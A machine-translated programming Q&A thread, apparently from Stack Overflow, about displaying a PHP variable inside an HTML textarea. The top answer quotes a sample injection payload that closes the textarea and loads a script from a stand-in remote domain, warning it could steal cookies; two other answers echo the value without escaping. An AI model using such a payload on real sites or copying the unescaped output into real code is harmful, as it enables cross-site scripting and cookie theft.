2013-07-16 17 views
5

Ho un piccolo problema qui, sto cercando di creare un sistema di notizie con un pulsante di modifica, tutto sta andando alla grande ma ho problemi con la "textarea", I in grado di visualizzare i risultati su ingressi, ma quando cerco di visualizzarli in una textarea è solito, guarda:Visualizza risultato query PHP nell'area testo

Questo codice funziona perfettamente:

<input name="txt_02" size="87" maxlength="100" id="txt_Resumen" maxlength="140" value="<?php echo $not_Resumen?>"/> 

Questa abitudine:

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion" value="<?php echo $not_Contenido ?>"> 
</textarea> 

ho provato con $ not_Resumen e altro quelli nella textarea e non funziona, la textarea dovrebbe apparire vuota senza il testo, dovrebbe essere un piccolo errore che sto facendo ma non riesco a trovarlo. Grazie.

risposta

14

sufficiente posizionarlo all'interno ><, c'è no value attribute:

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion"><?php echo htmlspecialchars($not_Contenido);?></textarea> 

Si dovrebbe anche usare htmlspecialchars in modo che l'area di testo non si romperà se $not_Contenido contiene </textarea>.

Questo a volte è trascurato, ma se $not_Contenido conteneva qualcosa di simile:

</textarea><script src="http://remotedomain.com/evilscript.js"></script> 

Un utente malintenzionato può eseguire tutto ciò che vogliono, e tutti i vostri clienti vi scaricare ed eseguire lo script sul tuo sito web. Un attacco comune sarebbe l'invio di cookie al proprio dominio.

+1

Grazie, è risolto! Mi sento un idiota in questo momento ... –

+0

Grazie. Funziona anche per me –

+0

perché>

1

Prova come

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion"> 
    <?php echo $not_Contenido; ?> 
</textarea> 

Abbiamo cont dare valore al textbox.

1

Il valore non è attributo del textarea così semplicemente posizionare tra il tag <textarea>?</textarea>

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion" ><?php echo $not_Contenido ?> 
</textarea> 
2

Posizionare il valore compreso tra apertura e chiusura Tags di textarea come come gli altri tag HTML e textarea non ha alcun attributo "value"

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion"><?php echo htmlspecialchars($not_Contenido);?></textarea> 
Problemi correlati